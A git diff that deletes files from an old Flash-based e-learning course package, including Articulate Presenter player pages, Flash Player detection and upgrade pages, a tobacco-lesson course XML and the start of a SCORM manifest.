diff --git a/Explore/elr/Other/O0004/player/stealthray_backup.swf b/Explore/elr/Other/O0004/player/stealthray_backup.swf
deleted file mode 100755
index ea45683..0000000
--- a/Explore/elr/Other/O0004/player/stealthray_backup.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0004/player/zoom.html b/Explore/elr/Other/O0004/player/zoom.html
deleted file mode 100755
index c1c9fc0..0000000
--- a/Explore/elr/Other/O0004/player/zoom.html
+++ /dev/null
@@ -1,74 +0,0 @@
-<HTML>
-<HEAD>
-<!-- saved from url=(0014)about:internet -->
-<TITLE>Zoom</TITLE>
-
-<script LANGUAGE="JavaScript1.2" SRC="flashcommand.js" TYPE="text/javascript"></script>
-<SCRIPT>
-var g_oZoomInfo = window.opener.g_oZoomInfo;
-</SCRIPT>
-<HEAD>
-<BODY marginheight="0" marginwidth="0" topmargin="0" leftmargin="0">
-
-<SCRIPT>
-
-function ShowImage(strFileName)
-{
-	document.write("<img src='"+ strFileName + "'/>");
-}
-
-function ShowSWF(strFileName)
-{
-	WriteSwfObject(strFileName, "100%", "100%", "", false, "", "showall")
-}
-
-function Zoom()
-{
-	var strFileName = g_oZoomInfo.strFileName;
-	var strExt = "";
-
-
-	strExt = strFileName.substr(strFileName.lastIndexOf("."));
-	strExt = strExt.toLowerCase();
-
-
-	if (strExt == ".swf")
-	{
-		ShowSWF(strFileName);
-	}
-	else
-	{
-		ShowImage(strFileName);
-	}
-}
-
-function RemoveFolder(strPath)
-{
-	var strResult = strPath;
-	var nPos = -1;
-	var nPos2 = -1;
-
-	nPos = strResult.lastIndexOf("\\");
-	nPos2 = strResult.lastIndexOf("/");
-
-	if (nPos2 > nPos)
-	{
-		nPos = nPos2;
-	}
-
-	if (nPos >= 0)
-	{
-		strResult = strResult.substr(nPos + 1);
-	}
-
-	return strResult;
-}
-
-
-Zoom();
-
-
-</SCRIPT>
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0004/player_backup.html b/Explore/elr/Other/O0004/player_backup.html
deleted file mode 100755
index cfb60db..0000000
--- a/Explore/elr/Other/O0004/player_backup.html
+++ /dev/null
@@ -1,461 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
-<HTML>
-<HEAD>
-<!-- saved from url=(0014)about:internet -->
-<!-- Created using Articulate Presenter 5.0 - http://www.articulate.com  -->
-<!-- version: __VERSION__ -->
-
-<TITLE>
-	__TITLE__
-</TITLE>
-<meta http-equiv="Content-Type" content="text/html;  charset=ISO-8859-1">
-<meta http-equiv="imagetoolbar" content="no">
-<meta http-equiv="imagetoolbar" content="false">
-<META name="description" content="Articulate - The leader in rapid e-learning and communications.">
-<META name="keywords" content="Articulate, Articulate Presenter, Convert PowerPoint to Flash, Rapid e-learning, SCORM, AICC, Flash">
-
-<script LANGUAGE="JavaScript">
-<!-- Articulate Presenter Lives In Here
-
-// START DEBUG CODE
-/*
-var g_bDebug = true;
-
-	if (g_bDebug)
-	{
-		__LMS_PRESENT__ = true;
-		__WEBOBJECT__ = false;
-		__FILLSCREEN__ = false;
-		__RESIZEOPTIMAL__ = false;
-		__SCALESWF__ = true;
-		__BGCOLOR__ = "6c6c6c";
-	}
-*/
-// END DEBUG CODE
-
-// Browser Detection
-var NS4 = (navigator.appName.indexOf("Netscape")>=0 && parseFloat(navigator.appVersion) >= 4 && parseFloat(navigator.appVersion) < 5)? true : false;
-var IE4 = (document.all)? true : false;
-var NS6plus = (parseFloat(navigator.appVersion) >= 5 && navigator.appName.indexOf("Netscape")>=0 )? true: false;
-var isMac = (navigator.appVersion.indexOf("Mac")!=-1) ? true : false;
-var IEmac = ((document.all) && (isMac)) ? true : false;
-var IE4plus = (document.all) ? true : false;
-var IE5 = ((document.all)&&(navigator.appVersion.indexOf("MSIE 5.")!=-1)) ? true : false;
-var IE6 = ((document.all)&&(navigator.appVersion.indexOf("MSIE 6.")!=-1)) ? true : false;
-var IE7 = ((document.all)&&(navigator.appVersion.indexOf("MSIE 7.")!=-1)) ? true : false;
-var Safari = (isMac &&(navigator.appVersion.indexOf("Safari")!=-1)) ? true : false;
-
-var Opera7plus = ((document.all)&&(navigator.userAgent.indexOf("Opera 7")!=-1)) ? true : false;
-var FF1 = (navigator.userAgent.indexOf("Firefox\/1")!=-1) ? true : false;
-var Opera = (navigator.userAgent.indexOf("Opera")!=-1) ? true : false;
-var Mozilla = (NS6plus && (navigator.userAgent.indexOf("Netscape") < 0));
-
-var NS7_2Plus = false;
-var Mozilla1_7Plus = false;
-
-var isLinux = (navigator.userAgent.indexOf("Linux") != -1);
-var isWindows = (!isMac && !isLinux)
-
-
-// Find the version of NS or Mozilla
-if (NS6plus)
-{
-	var nPos = 0;
-	var strUserAgent = navigator.userAgent;
-	var nReleaseDate = 0;
-	
-	strUserAgent = strUserAgent.toLowerCase();
-	nPos = strUserAgent.indexOf("gecko/");
-
-	if(nPos >= 0)
-	{
-		var strTemp = strUserAgent.substr(nPos + 6);
-		nReleaseDate = parseFloat(strTemp);
-	}
-
-	if (strUserAgent.indexOf("netscape") >= 0)
-	{
-		if (nReleaseDate >= 20040804)
-		{
-			NS7_2Plus = true;
-		} 
-	}
-	else
-	{
-		if (nReleaseDate >= 20040616)
-		{
-			Mozilla1_7Plus = true;
-		} 		
-	}
-}
-
-//windows sp2:
-var IESP2 = false;
-if ((window.navigator.userAgent.indexOf("MSIE")) && window.navigator.userAgent.indexOf("SV1") > window.navigator.userAgent.indexOf("MSIE")) 
-{
-	IESP2 = true;
-}
-
-// Template Vars
-var g_bFillScreen 	= __FILLSCREEN__;
-var g_bResizeOptimal 	= __RESIZEOPTIMAL__;
-var g_bLMS 		= __LMS_PRESENT__;
-var g_bWebObject 	= __WEBOBJECT__;
-var g_bScaleSwf		= __SCALESWF__;
-var g_strBgColor	= __BGCOLOR__;
-
-if (g_bFillScreen && g_bResizeOptimal)
-{
-	g_bOptimal = false;
-}
-
-if (!(IE5 || IE6 || IE7 || FF1 || NS7_2Plus || Mozilla1_7Plus) || Opera || isLinux)
-{
-	g_bWebObject = false;
-}
-
-
-// Init
-var g_nWidth;		// was aw
-var g_nHeight;		// was ah
-var g_bIs800 = false;
-var currentDisplayMode = "1"; //displaymode
-
-g_nWidth=screen.availWidth;
-g_nHeight=screen.availHeight;
-
-if (g_nWidth < 820) 
-{
-	g_bIs800 = true;
-	g_bFillScreen = true;
-	g_bScaleSwf = true;
-}
-
-function debug()
-{
-}
-
-// Reposition the window
-function reposition() {
-	var x = 0;
-	var y = 0;
-
-	if (!g_bFillScreen)
-	{
-		g_nWidth = 980;
-		g_nHeight = 640;
-
-		x = (screen.availWidth - g_nWidth) / 2;
-		y = (screen.availHeight - g_nHeight) / 2;
-
-		if (!g_bScaleSwf)
-		{
-			g_nWidth += 20;
-			g_nHeight += 5;
-		}
-	}
-
-	if (x < 0)
-	{
-		x = 0;
-	}
-	if (y < 0)
-	{
-		y = 0;
-	}
-
-	if (g_nWidth > screen.availWidth)
-	{
-		g_nWidth = screen.availWidth;
-	}
-	if (g_nHeight > screen.availHeight)
-	{
-		g_nHeight = screen.availHeight;
-	}
-
-
-
-	top.window.moveTo(x, y);
-	top.window.resizeTo(g_nWidth,g_nHeight);
-	top.window.focus();
-}
-
-// This function is used to make sure the document height and not the 
-function reposition2() 
-{
-	var nW = 0;
-	var nH = 0;
-	var nNewWidth = 0;
-	var nNewHeight = 0;
-	var x = 0;
-	var y = 0;
-
-	if (document.body.clientWidth && !isNaN(document.body.clientWidth) && !Mozilla)
-	{
-		nW = document.body.clientWidth;
-		nH = document.body.clientHeight;
-	}
-	else
-	{
-		nW = window.innerWidth;
-		nH = window.innerHeight;
-	}
-	
-	nNewWidth = g_nWidth + (g_nWidth - nW);
-	nNewHeight = g_nHeight + (g_nHeight - nH);
-
-	if (!g_bScaleSwf && NS6plus && !NS7_2Plus && !Mozilla)
-	{
-		nNewWidth +=15;
-	}
-
-	if (Mozilla)
-	{
-		nNewWidth += 20;
-	}
-
-	if (nNewWidth > screen.availWidth)
-	{
-		nNewWidth = screen.availWidth;
-	}
-	if (nNewHeight > screen.availHeight)
-	{
-		nNewHeight = screen.availHeight;
-	}
-
-	x = (screen.availWidth - nNewWidth) / 2;
-	y = (screen.availHeight - nNewHeight) / 2;
-
-	if (x < 0)
-	{
-		x = 0;
-	}
-	if (y < 0)
-	{
-		y = 0;
-	}
-
-
-	if (nNewHeight - g_nHeight > 20)
-	{
-		g_nWidth = nNewWidth;
-		g_nHeight = nNewHeight;
-		top.window.moveTo(x, y);
-		top.window.resizeTo(nNewWidth, nNewHeight);
-	}
-
-}
-
-if (g_bResizeOptimal || g_bFillScreen)
-{
-	// Call to reposition
-	reposition();
-}
-
-if (g_bResizeOptimal)
-{
-	// Call Reposition2
-	window.onload = reposition2;
-}
-
-// -->
-</script>
-
-
-<!-- fscommand processing -->
-
-<SCRIPT LANGUAGE="JavaScript1.2">
-<!--
-	if (g_bLMS)
-	{
-		document.write("<SCR" + "IPT LANGUAGE='JavaScript1.2' SRC='lms/lms.js' TYPE='text/javascript'><\/SCR" + "IPT>");
-	}
-// -->
-</SCRIPT>
-
-<SCRIPT LANGUAGE="JavaScript1.2" SRC="player/flashcommand.js" TYPE="text/javascript"></SCRIPT>
-<SCRIPT LANGUAGE="VBScript">
-<!--
-// Catch FS Commands in IE, and pass them to the corresponding JavaScript function.
-Sub player_FSCommand(ByVal command, ByVal args)
-    call player_DoFSCommand(command, args)
-end sub
-// -->
-</SCRIPT>
-
-
-<script LANGUAGE="JavaScript">
-<!--
-function thisMovie(movieName) 
-{
-	// IE and Netscape refer to the movie object differently for our ongoing pleasure.
-	//usage: thisMovie('player').SetVariable('_root.mcMyNotes.vMySlideNotes',  str );
-
-	if (navigator.appName.indexOf ("Microsoft") !=-1) 
-	{
-		return window[movieName]  
-	}
-	else 
-	{
-		return document[movieName]
-	}
-}
-//-->
-</script>
-
-</HEAD>
-
-
-<BODY TEXT="#999999" LINK="#000088" VLINK="#000088" ALINK="#ffff00"
-	marginheight="0" marginwidth="0" topmargin="0" leftmargin="0">
-
-<script LANGUAGE="JavaScript">
-<!--
-	// Change the BgColor
-	SetBgColor(g_strBgColor);	
-
-//-->
-</script>
-
-
-
-<script LANGUAGE="JavaScript">
-<!--
-	// Get the "slide=" value from the querystring URL of this document. (v3)
-	var slidenum = 1;
-	var _search = document.location.search;
-	var nStartPos = 0;
-	var nEndPos = 0;
-
-	nStartPos = _search.indexOf("slide=");
-	nEndPos = _search.indexOf("&",nStartPos);
-	if (nEndPos < 0)
-	{
-		nEndPos = _search.indexOf("%",nStartPos); 
-	}
-	if (nEndPos < 0) 
-	{
-		nEndPos = _search.length;
-	}
-
-	//just get the digits part. (+6 starts right of string "slide=")
-	if (nStartPos >= 0 && nEndPos >= 0)
-	{
-		slidenum = _search.substring((nStartPos+6),(nEndPos-0));
-	}
-//-->
-</script>
-
-
-<!-- Playercode: -->
-
-<script LANGUAGE="JavaScript">
-
-	//Formulate url to give to player for use in Forward, to pass it into flash. (Default is ./ in current url folder.)
-	var thislink = document.location.href;
-	thislink = thislink.substring(0,(thislink.lastIndexOf("/")+1));
-
-	// Create FlashVars
-	var strFlashVars = "";
-	strFlashVars += "vBgColor=0x" + g_strBgColor;
-
-	// FSCommand?
-	strFlashVars += "&vFSCommand="
-	if (!(IE5 || IE6 || IE7 || FF1 || NS7_2Plus || Mozilla1_7Plus) || Opera || isLinux || isMac)
-	{
-		strFlashVars += "false";	 
-	}
-	else
-	{
-		strFlashVars += "true"
-	}
-
-	// LMS Info
-	if (g_bLMS)
-	{
-		if (g_bAPIPresent)
-		{
-			RetrieveStateData();
-			strFlashVars += "&vResumeSlide=" + String(g_SlideLastViewed);
-			strFlashVars += "&vStateData=" + String(g_strResumeData);
-			strFlashVars += "&vLMSPresent=" + String(g_bLMSPresent);
-		}
-	}
-
-	// Get the browsers width and height
-	var strSwfWidth = "100%";
-	var strSwfHeight = "100%";
-	
-	var strScale = "show all";
-
-	if (!g_bScaleSwf)
-	{
-		strSwfWidth = 992;
-		strSwfHeight = 652;
-		strScale = "noscale"
-	}
-
-	var strTransparent = "";
-
-	if (g_bWebObject)
-	{
-		strTransparent = "wmode='transparent'";
-	}
-
-	if (NS4)
-	{
-		strSwfWidth = g_nWidth;
-		strSwfHeight = g_nHeight-30;
-	}
-
-	if (Mozilla && isLinux)
-	{
-		strSwfWidth = "980";
-		strSwfHeight = "640";
-	}
-
-	if (g_bWebObject)
-	{
-		document.write("<div id='flasher' style='z-index:4;'>");
-	}
-	
-	document.write("<table width='100%' HEIGHT='100%' border=0 cellspacing=0 cellpadding=0>");
-	document.write("<tr><td valign='center' align='center'>");
-
-	strFlashVars += "&rqPresentationID=__PRESENTATIONID__";
-	strFlashVars += "&rqStartSlide=" + slidenum;
-	strFlashVars += "&link="+ thislink;
-
-	WriteSwfObject("player/playershell.swf", strSwfWidth, strSwfHeight, strFlashVars, g_bWebObject, strTransparent, strScale); 
-
-	document.write("</td></tr>");
-	document.write("</table>");
-
-	if (g_bWebObject)
-	{
-		document.write("</div>");
-	}
-
-
-</script>
-
-
-<script LANGUAGE="JavaScript">
-<!--
-	if (g_bWebObject)
-	{
-		document.write("<div id='eLayer1' style='position:absolute; left:240; top:-600px; width:100; height:100; visibility:hidden; z-index:3;' >");
-		document.write("<iframe id='eIFContent' style='width:100%; height:100%' src='player/blank.html' frameborder='10px' allowtransparency='true'></iframe></div>");
-	}
-
-	
-//-->
-</script>
-
-<!-- Email support [097] -->
-
-<DIV id="divQuiz" style="visibility:hidden"></DIV>
-
-</BODY>
-</HTML>
-
diff --git a/Explore/elr/Other/O0005/course.xml b/Explore/elr/Other/O0005/course.xml
deleted file mode 100755
index 6c6625e..0000000
--- a/Explore/elr/Other/O0005/course.xml
+++ /dev/null
@@ -1,128 +0,0 @@
-<Modules>
-<Transcript>Yes</Transcript>
-<AssessmentNavigation>No</AssessmentNavigation>
-<Help>Yes</Help>
-<Glossary>Yes</Glossary>
-<Resources>No</Resources>
-<Exit>Yes</Exit>
-
-<Module>
-	<ModuleName>Tobacco</ModuleName>
-	<Lessons>
-	
-		<Lesson>
-			<LessonName>Getting started</LessonName>
-			<Pages>
-
-
-			<Page>
-					<PageName>media/lesson_00/L1_p01.swf</PageName>
-					<PageTitleName>Intro</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-				
-		
-				</Page>
-					<Page>
-					<PageName>media/lesson_00/L1_p02.swf</PageName>
-					<PageTitleName>nn</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-				</Page>
-				
-				
-				<Page><!--13-->
-					<PageName>media/lesson_00/L1_p03.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Int</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					
-				</Page>
-				
-					<Page><!--13-->
-					<PageName>media/lesson_00/L1_p04.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Int</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-				</Page>
-
-					<Page><!--13-->
-					<PageName>media/lesson_00/L1_p05.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Int</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-				</Page>
-					<Page><!--13-->
-					<PageName>media/lesson_00/L1_p06.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Int</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-				</Page>
-					<Page><!--13-->
-					<PageName>media/lesson_00/L1_p07.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Int</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-				</Page>
-				
-
-				<Page><!--13-->
-					<PageName>media/lesson_00/L1_p08.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-				</Page>
-					
-		</Pages>
-		</Lesson>	
-		
-	</Lessons>
-</Module>
-</Modules>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0005/efk_shell.swf b/Explore/elr/Other/O0005/efk_shell.swf
deleted file mode 100755
index ea6dab2..0000000
--- a/Explore/elr/Other/O0005/efk_shell.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0005/html/fpi_blank.html b/Explore/elr/Other/O0005/html/fpi_blank.html
deleted file mode 100755
index def01f9..0000000
--- a/Explore/elr/Other/O0005/html/fpi_blank.html
+++ /dev/null
@@ -1,12 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>ELearning For Kids</TITLE>
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0005/html/fpi_detection.html b/Explore/elr/Other/O0005/html/fpi_detection.html
deleted file mode 100755
index 1484dba..0000000
--- a/Explore/elr/Other/O0005/html/fpi_detection.html
+++ /dev/null
@@ -1,57 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>moock flash player inspector :: v1.3.6 (js)</TITLE>
-
-<!-- Prevent caching in netscape. 
-     Very important cause netscape tends to mangle cached code -->
-<META HTTP-EQUIV="expires" CONTENT="0">
-<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
-
-<!-- import the fpi logic from external javascript files -->
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-init.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-writevb.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-main.js"></SCRIPT>
-
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-<!--############################################################
-  IF YOU'RE USING PAGE REDIRECTION, FOLLOW THESE INSTRUCTIONS
-  1) Put some content here to tell the user what's going on
-     while they wait. something like: 
-  "Detecting Macromedia Flash, please wait..."
-
-  2) Delete everything below this point up to 
-  the NOSCRIPT start tag: <NOSCRIPT>
-  ############################################################-->
-
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">Detecting Macromedia Flash 
-  Player, please wait...</font>
-</center>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="fpi-swap.js"></SCRIPT>
-
-<NOSCRIPT>
-<!--############################################################################
-  HERE WE PROVIDE ALTERNATE CONTENT FOR NON-SCRIPT-SUPPORTING BROWSERS
-  OR BROWSERS THAT HAVE THEIR SCRIPTING TURNED OFF...
-  ############################################################################
-
-  IF YOU ARE USING PAGE REDIRECT, A META REFRESH GOES HERE. DELETE EVERYTHING
-  BETWEEN THE NOSCRIPT TAGS EXCEPT THE FOLLOWING META TAG:
-  <META HTTP-EQUIV="Refresh" CONTENT="10;URL=noflash.html"> 
-  
-  IF YOU ARE USING CONTENT SWAPPING, THE VALUE OF THE alternateContent VARIABLE
-  SHOULD BE REPEATED HERE. DELETE EVERYTHING BETWEEN THE NOSCRIPT TAGS
-  EXCEPT YOUR alternateContent HTML. FOR EXAMPLE:
-  <IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">
-  
-  -->
-</NOSCRIPT>
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0005/html/fpi_flash.html b/Explore/elr/Other/O0005/html/fpi_flash.html
deleted file mode 100755
index 53fe5d4..0000000
--- a/Explore/elr/Other/O0005/html/fpi_flash.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<html>
-<head>
-	<title>ELearning For Kids</title>
-</head>
-
-<body BGCOLOR="#FFFFFF">
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">You have required 
-  Flash Player installed on your machine.<br>
-  Please click above link to launch the course. </font> 
-</center>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0005/html/fpi_no_flash.html b/Explore/elr/Other/O0005/html/fpi_no_flash.html
deleted file mode 100755
index 51143cb..0000000
--- a/Explore/elr/Other/O0005/html/fpi_no_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318.3" height="107." border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have flash player installed on your machine. Please 
-                click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to install latest flash player.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-3,1,619,156" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Other/O0005/html/fpi_upgrade_flash.html b/Explore/elr/Other/O0005/html/fpi_upgrade_flash.html
deleted file mode 100755
index cddd4a3..0000000
--- a/Explore/elr/Other/O0005/html/fpi_upgrade_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have required flash player installed on your machine. 
-                Please click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to upgrade flash player. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-327,-67,480,134" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Other/O0005/html/launch.html b/Explore/elr/Other/O0005/html/launch.html
deleted file mode 100755
index 5972c48..0000000
--- a/Explore/elr/Other/O0005/html/launch.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>EFK ::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="90%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318" height="107" border="0" align="center" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                It is essential to keep this window open till the entire course 
-                runs.<br>Turn on your speakers and keep the volume high as you enter this course.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-181,-78,621,124" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-</html>
diff --git a/Explore/elr/Other/O0005/html/os_browser_detection.html b/Explore/elr/Other/O0005/html/os_browser_detection.html
deleted file mode 100755
index bae128e..0000000
--- a/Explore/elr/Other/O0005/html/os_browser_detection.html
+++ /dev/null
@@ -1,12 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="../js/browser-detection.js"></script>
-<script>
- </script>
-</head>
-<body>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0005/html/os_not_compatible_page.html b/Explore/elr/Other/O0005/html/os_not_compatible_page.html
deleted file mode 100755
index 9bd6543..0000000
--- a/Explore/elr/Other/O0005/html/os_not_compatible_page.html
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                Your computer does not meet the minimum requirements for viewing 
-                this course. It is recommended that you take this course from 
-                any other computer. Please click <a href="http://www.macromedia.com/support/flash/releasenotes/player/rn_6.html#systemrequirements" target="_blank">here</a> 
-                to view System Requirements. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-214,-45,591,157" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Other/O0005/images/bg_03.jpg b/Explore/elr/Other/O0005/images/bg_03.jpg
deleted file mode 100755
index 4c35c15..0000000
--- a/Explore/elr/Other/O0005/images/bg_03.jpg
+++ /dev/null
diff --git a/Explore/elr/Other/O0005/images/efk_logo.png b/Explore/elr/Other/O0005/images/efk_logo.png
deleted file mode 100755
index b84ec18..0000000
--- a/Explore/elr/Other/O0005/images/efk_logo.png
+++ /dev/null
diff --git a/Explore/elr/Other/O0005/images/launch.gif b/Explore/elr/Other/O0005/images/launch.gif
deleted file mode 100755
index da5e37e..0000000
--- a/Explore/elr/Other/O0005/images/launch.gif
+++ /dev/null
diff --git a/Explore/elr/Other/O0005/imsmanifest.xml b/Explore/elr/Other/O0005/imsmanifest.xml
deleted file mode 100755
index 79eaa57..0000000
--- a/Explore/elr/Other/O0005/imsmanifest.xml
+++ /dev/null
@@ -1,57 +0,0 @@
-<?xml version="1.0"?>
-<manifest identifier="MANIFEST_EFK" version="1.2"
-          xmlns="http://www.imsproject.org/xsd/imscp_rootv1p1p2" 
-          xmlns:adlcp="http://www.adlnet.org/xsd/adlcp_rootv1p2"
